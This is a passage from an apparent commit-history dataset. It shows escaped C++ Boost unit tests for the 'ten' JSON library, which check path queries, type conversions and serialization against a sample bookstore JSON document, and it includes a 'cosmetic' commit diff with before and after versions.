\\\"title\\\": \\\"Moby Dick\\\",\"\n\" \\\"isbn\\\": \\\"0-553-21311-3\\\",\"\n\" \\\"price\\\": 8.99\"\n\" },\"\n\" { \\\"category\\\": \\\"fiction\\\",\"\n\" \\\"author\\\": \\\"J. R. R. Tolkien\\\",\"\n\" \\\"title\\\": \\\"The Lord of the Rings\\\",\"\n\" \\\"isbn\\\": \\\"0-395-19395-8\\\",\"\n\" \\\"price\\\": 22.99\"\n\" }\"\n\" ],\"\n\" \\\"bicycle\\\": {\"\n\" \\\"color\\\": \\\"red\\\",\"\n\" \\\"price\\\": 19.95\"\n\" }\"\n\" }\"\n\"}\";\n\n\nBOOST_AUTO_TEST_CASE(json_test_path1) {\n json o(json::load(json_text));\n BOOST_REQUIRE(o.get());\n\n static const char a1[] = \"[\\\"Nigel Rees\\\", \\\"Evelyn Waugh\\\", \\\"Herman Melville\\\", \\\"J. R. R. Tolkien\\\"]\";\n json r1(o.path(\"\/store\/book\/author\"));\n BOOST_CHECK_EQUAL(json::load(a1), r1);\n\n json r2(o.path(\"\/\/author\"));\n BOOST_CHECK_EQUAL(json::load(a1), r2);\n\n \/\/ jansson hashtable uses size_t for hash\n \/\/ we think this is causing the buckets to change on 32bit vs. 64bit\n#if (__SIZEOF_SIZE_T__ == 4)\n static const char a3[] = \"[{\\\"category\\\": \\\"reference\\\", \\\"author\\\": \\\"Nigel Rees\\\", \\\"title\\\": \\\"Sayings of the Century\\\", \\\"price\\\": 8.95}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"Evelyn Waugh\\\", \\\"title\\\": \\\"Sword of Honour\\\", \\\"price\\\": 12.99}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"Herman Melville\\\", \\\"title\\\": \\\"Moby Dick\\\", \\\"isbn\\\": \\\"0-553-21311-3\\\", \\\"price\\\": 8.99}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"J. R. R. Tolkien\\\", \\\"title\\\": \\\"The Lord of the Rings\\\", \\\"isbn\\\": \\\"0-395-19395-8\\\", \\\"price\\\": 22.99}, {\\\"color\\\": \\\"red\\\", \\\"price\\\": 19.95}]\";\n#elif (__SIZEOF_SIZE_T__ == 8)\n static const char a3[] = \"[{\\\"color\\\": \\\"red\\\", \\\"price\\\": 19.95}, {\\\"category\\\": \\\"reference\\\", \\\"author\\\": \\\"Nigel Rees\\\", \\\"title\\\": \\\"Sayings of the Century\\\", \\\"price\\\": 8.95}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"Evelyn Waugh\\\", \\\"title\\\": \\\"Sword of Honour\\\", \\\"price\\\": 12.99}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"Herman Melville\\\", \\\"title\\\": \\\"Moby Dick\\\", \\\"isbn\\\": \\\"0-553-21311-3\\\", \\\"price\\\": 8.99}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"J. R. R. Tolkien\\\", \\\"title\\\": \\\"The Lord of the Rings\\\", \\\"isbn\\\": \\\"0-395-19395-8\\\", \\\"price\\\": 22.99}]\";\n#endif\n json r3(o.path(\"\/store\/*\"));\n json t3(json::load(a3));\n BOOST_CHECK_EQUAL(t3, r3);\n\n#if (__SIZEOF_SIZE_T__ == 4)\n static const char a4[] = \"[8.95, 12.99, 8.99, 22.99, 19.95]\";\n#elif (__SIZEOF_SIZE_T__ == 8)\n static const char a4[] = \"[19.95, 8.95, 12.99, 8.99, 22.99]\";\n#endif\n json r4(o.path(\"\/store\/\/price\"));\n BOOST_CHECK_EQUAL(json::load(a4), r4);\n\n static const char a5[] = \"{\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"J. R. R. Tolkien\\\", \\\"title\\\": \\\"The Lord of the Rings\\\", \\\"isbn\\\": \\\"0-395-19395-8\\\", \\\"price\\\": 22.99}\";\n json r5(o.path(\"\/\/book[3]\"));\n BOOST_CHECK_EQUAL(json::load(a5), r5);\n\n static const char a6[] = \"\\\"J. R. R. Tolkien\\\"\";\n json r6(o.path(\"\/store\/book[3]\/author\"));\n BOOST_CHECK_EQUAL(json::load(a6), r6);\n BOOST_CHECK(json::load(a6) == r6);\n\n static const char a7[] = \"[{\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"Evelyn Waugh\\\", \\\"title\\\": \\\"Sword of Honour\\\", \\\"price\\\": 12.99}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"Herman Melville\\\", \\\"title\\\": \\\"Moby Dick\\\", \\\"isbn\\\": \\\"0-553-21311-3\\\", \\\"price\\\": 8.99}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"J. R. R. Tolkien\\\", \\\"title\\\": \\\"The Lord of the Rings\\\", \\\"isbn\\\": \\\"0-395-19395-8\\\", \\\"price\\\": 22.99}]\";\n json r7(o.path(\"\/store\/book[category=\\\"fiction\\\"]\"));\n BOOST_CHECK_EQUAL(json::load(a7), r7);\n}\n\nBOOST_AUTO_TEST_CASE(json_test_path2) {\n json o(json::load(\"[{\\\"type\\\": 0}, {\\\"type\\\": 1}]\"));\n BOOST_CHECK_EQUAL(json::load(\"[{\\\"type\\\":1}]\"), o.path(\"\/[type=1]\"));\n}\n\nBOOST_AUTO_TEST_CASE(json_test_filter_key_exists) {\n json o(json::load(json_text));\n BOOST_REQUIRE(o.get());\n\n static const char a[] = \"[\"\n\" { \\\"category\\\": \\\"fiction\\\",\"\n\" \\\"author\\\": \\\"Herman Melville\\\",\"\n\" \\\"title\\\": \\\"Moby Dick\\\",\"\n\" \\\"isbn\\\": \\\"0-553-21311-3\\\",\"\n\" \\\"price\\\": 8.99\"\n\" },\"\n\" { \\\"category\\\": \\\"fiction\\\",\"\n\" \\\"author\\\": \\\"J. R. R. Tolkien\\\",\"\n\" \\\"title\\\": \\\"The Lord of the Rings\\\",\"\n\" \\\"isbn\\\": \\\"0-395-19395-8\\\",\"\n\" \\\"price\\\": 22.99\"\n\" }]\";\n json r(o.path(\"\/\/book[isbn]\"));\n BOOST_CHECK_EQUAL(json::load(a), r);\n\n json r1(o.path(\"\/\/book[doesnotexist]\"));\n BOOST_REQUIRE(r1.is_array());\n BOOST_CHECK_EQUAL(0, r1.asize());\n}\n\nBOOST_AUTO_TEST_CASE(json_test_truth) {\n json o(json::object());\n BOOST_CHECK(o.get(\"nothing\").is_true() == false);\n BOOST_CHECK(o.get(\"nothing\").is_false() == false);\n BOOST_CHECK(o.get(\"nothing\").is_null() == false);\n BOOST_CHECK(!o.get(\"nothing\"));\n}\n\nBOOST_AUTO_TEST_CASE(json_test_path3) {\n json o(json::load(json_text));\n BOOST_REQUIRE(o.get());\n\n BOOST_CHECK_EQUAL(o, o.path(\"\/\"));\n BOOST_CHECK_EQUAL(\"Sayings of the Century\",\n o.path(\"\/store\/book[category=\\\"reference\\\"]\/title\"));\n\n static const char text[] = \"[\"\n \"{\\\"type\\\":\\\"a\\\", \\\"value\\\":0},\"\n \"{\\\"type\\\":\\\"b\\\", \\\"value\\\":1},\"\n \"{\\\"type\\\":\\\"c\\\", \\\"value\\\":2},\"\n \"{\\\"type\\\":\\\"c\\\", \\\"value\\\":3}\"\n \"]\";\n\n BOOST_CHECK_EQUAL(json(1), json::load(text).path(\"\/[type=\\\"b\\\"]\/value\"));\n}\n\nBOOST_AUTO_TEST_CASE(json_init_list) {\n json meta{\n { \"foo\", 17 },\n { \"bar\", 23 },\n { \"baz\", true },\n { \"corge\", json::array({ 1, 3.14159 }) },\n { \"grault\", json::array({ \"hello\", string(\"world\") }) },\n };\n BOOST_REQUIRE(meta);\n BOOST_REQUIRE(meta.is_object());\n BOOST_CHECK_EQUAL(meta.osize(), 5);\n BOOST_CHECK_EQUAL(meta[\"foo\"].integer(), 17);\n BOOST_CHECK_EQUAL(meta[\"corge\"][0].integer(), 1);\n BOOST_CHECK_EQUAL(meta[\"grault\"][1].str(), \"world\");\n}\n\ntemplate <class T>\ninline void test_conv(T val, json j, json_type t) {\n json j2 = to_json(val);\n BOOST_CHECK_EQUAL(j2.type(), t);\n BOOST_CHECK_EQUAL(j, j2);\n T val2 = json_cast<T>(j2);\n BOOST_CHECK_EQUAL(val, val2);\n}\n\ntemplate <class T, json_type TYPE = JSON_INTEGER>\ninline void test_conv_num() {\n typedef numeric_limits<T> lim;\n T range[5] = { lim::min(), T(-1), 0, T(1), lim::max() };\n for (unsigned i = 0; i < 5; ++i)\n test_conv<T>(range[i], json(range[i]), TYPE);\n}\n\nBOOST_AUTO_TEST_CASE(json_conversions) {\n test_conv<string>(string(\"hello\"), json::str(\"hello\"), JSON_STRING);\n BOOST_CHECK_EQUAL(to_json(\"world\"), json::str(\"world\"));\n\n test_conv_num<short>();\n test_conv_num<int>();\n test_conv_num<long>();\n test_conv_num<long long>();\n test_conv_num<unsigned short>();\n test_conv_num<unsigned>();\n#if ULONG_MAX < LLONG_MAX\n test_conv_num<unsigned long>();\n#endif\n\n test_conv_num<double, JSON_REAL>();\n test_conv_num<float, JSON_REAL>();\n\n test_conv<bool>(true, json::jtrue(), JSON_TRUE);\n test_conv<bool>(false, json::jfalse(), JSON_FALSE);\n}\n\nBOOST_AUTO_TEST_CASE(json_create) {\n json obj1;\n obj1.set(\"test\", \"set\");\n BOOST_CHECK(obj1);\n BOOST_CHECK(obj1.get(\"test\"));\n json root{\n {\"obj1\", obj1}\n };\n BOOST_CHECK_EQUAL(root.get(\"obj1\"), obj1);\n obj1.set(\"this\", \"that\");\n BOOST_CHECK_EQUAL(root.get(\"obj1\").get(\"this\").str(), \"that\");\n json obj2{ {\"answer\", 42} };\n obj1.set(\"obj2\", obj2);\n BOOST_CHECK_EQUAL(root.get(\"obj1\").get(\"obj2\"), obj2);\n}\n\n#ifdef TEN_JSON_CXX11\n\nstruct corge {\n int foo, bar;\n\n corge() : foo(), bar() {}\n corge(int foo_, int bar_) : foo(foo_), bar(bar_) {}\n};\ntemplate <class AR>\ninline void serialize(AR &ar, corge &c) {\n ar & kv(\"foo\", c.foo) & kv(\"bar\", c.bar);\n}\ninline bool operator == (const corge &a, const corge &b) {\n return a.foo == b.foo && a.bar == b.bar;\n}\n\n\nenum captain { kirk, picard, janeway, sisko };\nconst array<string, 4> captain_names = {{ \"kirk\", \"picard\", \"janeway\", \"sisko\" }};\ntemplate <class AR>\ninline void serialize(AR &ar, captain &c) {\n serialize_enum(ar, c, captain_names);\n}\n\n\nBOOST_AUTO_TEST_CASE(json_serial) {\n corge c1(42, 17);\n auto j = jsave_all(c1);\n corge c2;\n json_loader(j) >> c2;\n BOOST_CHECK(c1 == c2);\n\n map<string, int> m;\n json_loader(j) >> m;\n BOOST_CHECK_EQUAL(m.size(), 2);\n BOOST_CHECK(m.find(\"foo\") != m.end());\n BOOST_CHECK(m.find(\"bar\") != m.end());\n BOOST_CHECK_EQUAL(m[\"foo\"], 42);\n BOOST_CHECK_EQUAL(m[\"bar\"], 17);\n\n#if BOOST_VERSION >= 104800\n flat_map<string, int> f;\n json_loader(j) >> f;\n BOOST_CHECK_EQUAL(f.size(), 2);\n BOOST_CHECK(f.find(\"foo\") != f.end());\n BOOST_CHECK(f.find(\"bar\") != f.end());\n BOOST_CHECK_EQUAL(f[\"foo\"], 42);\n BOOST_CHECK_EQUAL(f[\"bar\"], 17);\n#endif\n\n maybe<int> a;\n j = jsave_all(a);\n BOOST_CHECK(!j);\n a = 42;\n j = jsave_all(a);\n BOOST_CHECK_EQUAL(j, 42);\n\n a.reset();\n BOOST_CHECK(!a.ok());\n j = 17;\n json_loader(j) >> a;\n BOOST_CHECK(a.ok());\n BOOST_CHECK_EQUAL(a.get(), 17);\n\n\n captain c = janeway;\n j = jsave_all(c);\n BOOST_CHECK_EQUAL(j, \"janeway\");\n j = \"kirk\";\n json_loader(j) >> c;\n BOOST_CHECK_EQUAL(c, kirk);\n}\n\n#endif \/\/ TEN_JSON_CXX11\n<commit_msg>cosmetic<commit_after>#define BOOST_TEST_MODULE json test\n#include <boost\/test\/unit_test.hpp>\n#include <ten\/json.hh>\n#ifdef TEN_JSON_CXX11\n#include <ten\/jserial.hh>\n#include <ten\/jserial_maybe.hh>\n#include <ten\/jserial_seq.hh>\n#include <ten\/jserial_assoc.hh>\n#include <ten\/jserial_enum.hh>\n#endif\n#include <array>\n\nusing namespace std;\nusing namespace ten;\n\nconst char json_text[] =\n\"{ \\\"store\\\": {\"\n\" \\\"book\\\": [\"\n\" { \\\"category\\\": \\\"reference\\\",\"\n\" \\\"author\\\": \\\"Nigel Rees\\\",\"\n\" \\\"title\\\": \\\"Sayings of the Century\\\",\"\n\" \\\"price\\\": 8.95\"\n\" },\"\n\" { \\\"category\\\": \\\"fiction\\\",\"\n\" \\\"author\\\": \\\"Evelyn Waugh\\\",\"\n\" \\\"title\\\": \\\"Sword of Honour\\\",\"\n\" \\\"price\\\": 12.99\"\n\" },\"\n\" { \\\"category\\\": \\\"fiction\\\",\"\n\" \\\"author\\\": \\\"Herman Melville\\\",\"\n\" \\\"title\\\": \\\"Moby Dick\\\",\"\n\" \\\"isbn\\\": \\\"0-553-21311-3\\\",\"\n\" \\\"price\\\": 8.99\"\n\" },\"\n\" { \\\"category\\\": \\\"fiction\\\",\"\n\" \\\"author\\\": \\\"J. R. R. Tolkien\\\",\"\n\" \\\"title\\\": \\\"The Lord of the Rings\\\",\"\n\" \\\"isbn\\\": \\\"0-395-19395-8\\\",\"\n\" \\\"price\\\": 22.99\"\n\" }\"\n\" ],\"\n\" \\\"bicycle\\\": {\"\n\" \\\"color\\\": \\\"red\\\",\"\n\" \\\"price\\\": 19.95\"\n\" }\"\n\" }\"\n\"}\";\n\n\nBOOST_AUTO_TEST_CASE(json_test_path1) {\n json o(json::load(json_text));\n BOOST_REQUIRE(o.get());\n\n static const char a1[] = \"[\\\"Nigel Rees\\\", \\\"Evelyn Waugh\\\", \\\"Herman Melville\\\", \\\"J. R. R. Tolkien\\\"]\";\n json r1(o.path(\"\/store\/book\/author\"));\n BOOST_CHECK_EQUAL(json::load(a1), r1);\n\n json r2(o.path(\"\/\/author\"));\n BOOST_CHECK_EQUAL(json::load(a1), r2);\n\n \/\/ jansson hashtable uses size_t for hash\n \/\/ we think this is causing the buckets to change on 32bit vs. 64bit\n#if (__SIZEOF_SIZE_T__ == 4)\n static const char a3[] = \"[{\\\"category\\\": \\\"reference\\\", \\\"author\\\": \\\"Nigel Rees\\\", \\\"title\\\": \\\"Sayings of the Century\\\", \\\"price\\\": 8.95}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"Evelyn Waugh\\\", \\\"title\\\": \\\"Sword of Honour\\\", \\\"price\\\": 12.99}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"Herman Melville\\\", \\\"title\\\": \\\"Moby Dick\\\", \\\"isbn\\\": \\\"0-553-21311-3\\\", \\\"price\\\": 8.99}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"J. R. R. Tolkien\\\", \\\"title\\\": \\\"The Lord of the Rings\\\", \\\"isbn\\\": \\\"0-395-19395-8\\\", \\\"price\\\": 22.99}, {\\\"color\\\": \\\"red\\\", \\\"price\\\": 19.95}]\";\n#elif (__SIZEOF_SIZE_T__ == 8)\n static const char a3[] = \"[{\\\"color\\\": \\\"red\\\", \\\"price\\\": 19.95}, {\\\"category\\\": \\\"reference\\\", \\\"author\\\": \\\"Nigel Rees\\\", \\\"title\\\": \\\"Sayings of the Century\\\", \\\"price\\\": 8.95}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"Evelyn Waugh\\\", \\\"title\\\": \\\"Sword of Honour\\\", \\\"price\\\": 12.99}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"Herman Melville\\\", \\\"title\\\": \\\"Moby Dick\\\", \\\"isbn\\\": \\\"0-553-21311-3\\\", \\\"price\\\": 8.99}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"J. R. R. Tolkien\\\", \\\"title\\\": \\\"The Lord of the Rings\\\", \\\"isbn\\\": \\\"0-395-19395-8\\\", \\\"price\\\": 22.99}]\";\n#endif\n json r3(o.path(\"\/store\/*\"));\n json t3(json::load(a3));\n BOOST_CHECK_EQUAL(t3, r3);\n\n#if (__SIZEOF_SIZE_T__ == 4)\n static const char a4[] = \"[8.95, 12.99, 8.99, 22.99, 19.95]\";\n#elif (__SIZEOF_SIZE_T__ == 8)\n static const char a4[] = \"[19.95, 8.95, 12.99, 8.99, 22.99]\";\n#endif\n json r4(o.path(\"\/store\/\/price\"));\n BOOST_CHECK_EQUAL(json::load(a4), r4);\n\n static const char a5[] = \"{\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"J. R. R. Tolkien\\\", \\\"title\\\": \\\"The Lord of the Rings\\\", \\\"isbn\\\": \\\"0-395-19395-8\\\", \\\"price\\\": 22.99}\";\n json r5(o.path(\"\/\/book[3]\"));\n BOOST_CHECK_EQUAL(json::load(a5), r5);\n\n static const char a6[] = \"\\\"J. R. R. Tolkien\\\"\";\n json r6(o.path(\"\/store\/book[3]\/author\"));\n BOOST_CHECK_EQUAL(json::load(a6), r6);\n BOOST_CHECK(json::load(a6) == r6);\n\n static const char a7[] = \"[{\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"Evelyn Waugh\\\", \\\"title\\\": \\\"Sword of Honour\\\", \\\"price\\\": 12.99}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"Herman Melville\\\", \\\"title\\\": \\\"Moby Dick\\\", \\\"isbn\\\": \\\"0-553-21311-3\\\", \\\"price\\\": 8.99}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"J. R. R. Tolkien\\\", \\\"title\\\": \\\"The Lord of the Rings\\\", \\\"isbn\\\": \\\"0-395-19395-8\\\", \\\"price\\\": 22.99}]\";\n json r7(o.path(\"\/store\/book[category=\\\"fiction\\\"]\"));\n BOOST_CHECK_EQUAL(json::load(a7), r7);\n}\n\nBOOST_AUTO_TEST_CASE(json_test_path2) {\n json o(json::load(\"[{\\\"type\\\": 0}, {\\\"type\\\": 1}]\"));\n BOOST_CHECK_EQUAL(json::load(\"[{\\\"type\\\":1}]\"), o.path(\"\/[type=1]\"));\n}\n\nBOOST_AUTO_TEST_CASE(json_test_filter_key_exists) {\n json o(json::load(json_text));\n BOOST_REQUIRE(o.get());\n\n static const char a[] = \"[\"\n\" { \\\"category\\\": \\\"fiction\\\",\"\n\" \\\"author\\\": \\\"Herman Melville\\\",\"\n\" \\\"title\\\": \\\"Moby Dick\\\",\"\n\" \\\"isbn\\\": \\\"0-553-21311-3\\\",\"\n\" \\\"price\\\": 8.99\"\n\" },\"\n\" { \\\"category\\\": \\\"fiction\\\",\"\n\" \\\"author\\\": \\\"J. R. R. Tolkien\\\",\"\n\" \\\"title\\\": \\\"The Lord of the Rings\\\",\"\n\" \\\"isbn\\\": \\\"0-395-19395-8\\\",\"\n\" \\\"price\\\": 22.99\"\n\" }]\";\n json r(o.path(\"\/\/book[isbn]\"));\n BOOST_CHECK_EQUAL(json::load(a), r);\n\n json r1(o.path(\"\/\/book[doesnotexist]\"));\n BOOST_REQUIRE(r1.is_array());\n BOOST_CHECK_EQUAL(0, r1.asize());\n}\n\nBOOST_AUTO_TEST_CASE(json_test_truth) {\n json o(json::object());\n BOOST_CHECK(o.get(\"nothing\").is_true() == false);\n BOOST_CHECK(o.get(\"nothing\").is_false() == false);\n BOOST_CHECK(o.get(\"nothing\").is_null() == false);\n BOOST_CHECK(!o.get(\"nothing\"));\n}\n\nBOOST_AUTO_TEST_CASE(json_test_path3) {\n json o(json::load(json_text));\n BOOST_REQUIRE(o.get());\n\n BOOST_CHECK_EQUAL(o, o.path(\"\/\"));\n BOOST_CHECK_EQUAL(\"Sayings of the Century\",\n o.path(\"\/store\/book[category=\\\"reference\\\"]\/title\"));\n\n static const char text[] = \"[\"\n \"{\\\"type\\\":\\\"a\\\", \\\"value\\\":0},\"\n \"{\\\"type\\\":\\\"b\\\", \\\"value\\\":1},\"\n \"{\\\"type\\\":\\\"c\\\", \\\"value\\\":2},\"\n \"{\\\"type\\\":\\\"c\\\", \\\"value\\\":3}\"\n \"]\";\n\n BOOST_CHECK_EQUAL(json(1), json::load(text).path(\"\/[type=\\\"b\\\"]\/value\"));\n}\n\nBOOST_AUTO_TEST_CASE(json_init_list) {\n json meta{\n { \"foo\", 17 },\n { \"bar\", 23 },\n { \"baz\", true },\n { \"corge\", json::array({ 1, 3.14159 }) },\n { \"grault\", json::array({ \"hello\", string(\"world\") }) },\n };\n BOOST_REQUIRE(meta);\n BOOST_REQUIRE(meta.is_object());\n BOOST_CHECK_EQUAL(meta.osize(), 5);\n BOOST_CHECK_EQUAL(meta[\"foo\"].integer(), 17);\n BOOST_CHECK_EQUAL(meta[\"corge\"][0].integer(), 1);\n BOOST_CHECK_EQUAL(meta[\"grault\"][1].str(), \"world\");\n}\n\ntemplate <class T>\ninline void test_conv(T val, json j, json_type t) {\n json j2 = to_json(val);\n BOOST_CHECK_EQUAL(j2.type(), t);\n BOOST_CHECK_EQUAL(j, j2);\n T val2 = json_cast<T>(j2);\n BOOST_CHECK_EQUAL(val, val2);\n}\n\ntemplate <class T, json_type TYPE = JSON_INTEGER>\ninline void test_conv_num() {\n typedef numeric_limits<T> lim;\n T range[5] = { lim::min(), T(-1), 0, T(1), lim::max() };\n for (unsigned i = 0; i < 5; ++i)\n test_conv<T>(range[i], json(range[i]), TYPE);\n}\n\nBOOST_AUTO_TEST_CASE(json_conversions) {\n test_conv<string>(string(\"hello\"), json::str(\"hello\"), JSON_STRING);\n BOOST_CHECK_EQUAL(to_json(\"world\"), json::str(\"world\"));\n\n test_conv_num<short>();\n test_conv_num<int>();\n test_conv_num<long>();\n test_conv_num<long long>();\n test_conv_num<unsigned short>();\n test_conv_num<unsigned>();\n#if ULONG_MAX < LLONG_MAX\n test_conv_num<unsigned long>();\n#endif\n\n test_conv_num<double, JSON_REAL>();\n test_conv_num<float, JSON_REAL>();\n\n test_conv<bool>(true, json::jtrue(), JSON_TRUE);\n test_conv<bool>(false, json::jfalse(), JSON_FALSE);\n}\n\nBOOST_AUTO_TEST_CASE(json_create) {\n json obj1;\n obj1.set(\"test\", \"set\");\n BOOST_CHECK(obj1);\n BOOST_CHECK(obj1.get(\"test\"));\n json root{\n {\"obj1\", obj1}\n };\n BOOST_CHECK_EQUAL(root.get(\"obj1\"), obj1);\n obj1.set(\"this\", \"that\");\n BOOST_CHECK_EQUAL(root.get(\"obj1\").get(\"this\").str(), \"that\");\n json obj2{ {\"answer\", 42} };\n obj1.set(\"obj2\", obj2);\n BOOST_CHECK_EQUAL(root.get(\"obj1\").get(\"obj2\"), obj2);\n}\n\n#ifdef TEN_JSON_CXX11\n\nstruct corge {\n int foo, bar;\n\n corge() : foo(), bar() {}\n corge(int foo_, int bar_) : foo(foo_), bar(bar_) {}\n};\ntemplate <class AR>\ninline void serialize(AR &ar, corge &c) {\n ar & kv(\"foo\", c.foo) & kv(\"bar\", c.bar);\n}\ninline bool operator == (const corge &a, const corge &b) {\n return a.foo == b.foo && a.bar == b.bar;\n}\n\n\nenum captain { kirk, picard, janeway, sisko };\nconst array<string, 4> captain_names = {{ \"kirk\", \"picard\", \"janeway\", \"sisko\" }};\ntemplate <class AR>\ninline void serialize(AR &ar, captain &c) {\n serialize_enum(ar, c, captain_names);\n}\n\n\nBOOST_AUTO_TEST_CASE(json_serial) {\n corge c1(42, 17);\n auto j = jsave_all(c1);\n corge c2;\n json_loader(j) >> c2;\n BOOST_CHECK(c1 == c2);\n\n map<string, int> m;\n json_loader(j) >> m;\n BOOST_CHECK_EQUAL(m.size(), 2);\n BOOST_CHECK(m.find(\"foo\") != m.end());\n BOOST_CHECK(m.find(\"bar\") != m.end());\n BOOST_CHECK_EQUAL(m[\"foo\"], 42);\n BOOST_CHECK_EQUAL(m[\"bar\"], 17);\n\n#if BOOST_VERSION >= 104800\n flat_map<string, int> f;\n json_loader(j) >> f;\n BOOST_CHECK_EQUAL(f.size(), 2);\n BOOST_CHECK(f.find(\"foo\") != f.end());\n BOOST_CHECK(f.find(\"bar\") != f.end());\n BOOST_CHECK_EQUAL(f[\"foo\"], 42);\n BOOST_CHECK_EQUAL(f[\"bar\"], 17);\n#endif\n\n maybe<int> a;\n j = jsave_all(a);\n BOOST_CHECK(!j);\n a = 42;\n j = jsave_all(a);\n BOOST_CHECK_EQUAL(j, 42);\n\n a.reset();\n BOOST_CHECK(!a.ok());\n j = 17;\n json_loader(j) >> a;\n BOOST_CHECK(a.ok());\n BOOST_CHECK_EQUAL(a.get(), 17);\n\n captain c = janeway;\n j = jsave_all(c);\n BOOST_CHECK_EQUAL(j, \"janeway\");\n j = \"kirk\";\n json_loader(j) >> c;\n BOOST_CHECK_EQUAL(c, kirk);\n}\n\n#endif \/\/ TEN_JSON_CXX11\n<|endoftext|>"} {"text":"<commit_before>#define BOOST_TEST_MODULE json test\n#include <boost\/test\/unit_test.hpp>\n#include <ten\/json.hh>\n#ifdef TEN_JSON_CXX11\n#include <ten\/jserial.hh>\n#include <ten\/jserial_maybe.hh>\n#include <ten\/jserial_seq.hh>\n#include <ten\/jserial_assoc.hh>\n#include <ten\/jserial_enum.hh>\n#endif\n#include <array>\n\nusing namespace std;\nusing namespace ten;\n\nconst char json_text[] =\n\"{ \\\"store\\\": {\"\n\" \\\"book\\\": [\"\n\" { \\\"category\\\": \\\"reference\\\",\"\n\" \\\"author\\\": \\\"Nigel Rees\\\",\"\n\" \\\"title\\\": \\\"Sayings of the Century\\\",\"\n\" \\\"price\\\": 8.95\"\n\" },\"\n\" { \\\"category\\\": \\\"fiction\\\",\"\n\" \\\"author\\\": \\\"Evelyn Waugh\\\",\"\n\" \\\"title\\\": \\\"Sword of Honour\\\",\"\n\" \\\"price\\\": 12.99\"\n\" },\"\n\" { \\\"category\\\": \\\"fiction\\\",\"\n\" \\\"author\\\": \\\"Herman Melville\\\",\"\n\" \\\"title\\\": \\\"Moby Dick\\\",\"\n\" \\\"isbn\\\": \\\"0-553-21311-3\\\",\"\n\" \\\"price\\\": 8.99\"\n\" },\"\n\" { \\\"category\\\": \\\"fiction\\\",\"\n\" \\\"author\\\": \\\"J. R. R. Tolkien\\\",\"\n\" \\\"title\\\": \\\"The Lord of the Rings\\\",\"\n\" \\\"isbn\\\": \\\"0-395-19395-8\\\",\"\n\" \\\"price\\\": 22.99\"\n\" }\"\n\" ],\"\n\" \\\"bicycle\\\": {\"\n\" \\\"color\\\": \\\"red\\\",\"\n\" \\\"price\\\": 19.95\"\n\" }\"\n\" }\"\n\"}\";\n\n\nBOOST_AUTO_TEST_CASE(json_test_path1) {\n json o(json::load(json_text));\n BOOST_REQUIRE(o.get());\n\n static const char a1[] = \"[\\\"Nigel Rees\\\", \\\"Evelyn Waugh\\\", \\\"Herman Melville\\\", \\\"J. R. R. Tolkien\\\"]\";\n json r1(o.path(\"\/store\/book\/author\"));\n BOOST_CHECK_EQUAL(json::load(a1), r1);\n\n json r2(o.path(\"\/\/author\"));\n BOOST_CHECK_EQUAL(json::load(a1), r2);\n\n \/\/ jansson hashtable uses size_t for hash\n \/\/ we think this is causing the buckets to change on 32bit vs. 64bit\n#if (__SIZEOF_SIZE_T__ == 4)\n static const char a3[] = \"[{\\\"category\\\": \\\"reference\\\", \\\"author\\\": \\\"Nigel Rees\\\", \\\"title\\\": \\\"Sayings of the Century\\\", \\\"price\\\": 8.95}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"Evelyn Waugh\\\", \\\"title\\\": \\\"Sword of Honour\\\", \\\"price\\\": 12.99}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"Herman Melville\\\", \\\"title\\\": \\\"Moby Dick\\\", \\\"isbn\\\": \\\"0-553-21311-3\\\", \\\"price\\\": 8.99}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"J. R. R. Tolkien\\\", \\\"title\\\": \\\"The Lord of the Rings\\\", \\\"isbn\\\": \\\"0-395-19395-8\\\", \\\"price\\\": 22.99}, {\\\"color\\\": \\\"red\\\", \\\"price\\\": 19.95}]\";\n#elif (__SIZEOF_SIZE_T__ == 8)\n static const char a3[] = \"[{\\\"color\\\": \\\"red\\\", \\\"price\\\": 19.95}, {\\\"category\\\": \\\"reference\\\", \\\"author\\\": \\\"Nigel Rees\\\", \\\"title\\\": \\\"Sayings of the Century\\\", \\\"price\\\": 8.95}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"Evelyn Waugh\\\", \\\"title\\\": \\\"Sword of Honour\\\", \\\"price\\\": 12.99}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"Herman Melville\\\", \\\"title\\\": \\\"Moby Dick\\\", \\\"isbn\\\": \\\"0-553-21311-3\\\", \\\"price\\\": 8.99}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"J. R. R. Tolkien\\\", \\\"title\\\": \\\"The Lord of the Rings\\\", \\\"isbn\\\": \\\"0-395-19395-8\\\", \\\"price\\\": 22.99}]\";\n#endif\n json r3(o.path(\"\/store\/*\"));\n json t3(json::load(a3));\n BOOST_CHECK_EQUAL(t3, r3);\n\n#if (__SIZEOF_SIZE_T__ == 4)\n static const char a4[] = \"[8.95, 12.99, 8.99, 22.99, 19.95]\";\n#elif (__SIZEOF_SIZE_T__ == 8)\n static const char a4[] = \"[19.95, 8.95, 12.99, 8.99, 22.99]\";\n#endif\n json r4(o.path(\"\/store\/\/price\"));\n BOOST_CHECK_EQUAL(json::load(a4), r4);\n\n static const char a5[] = \"{\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"J. R. 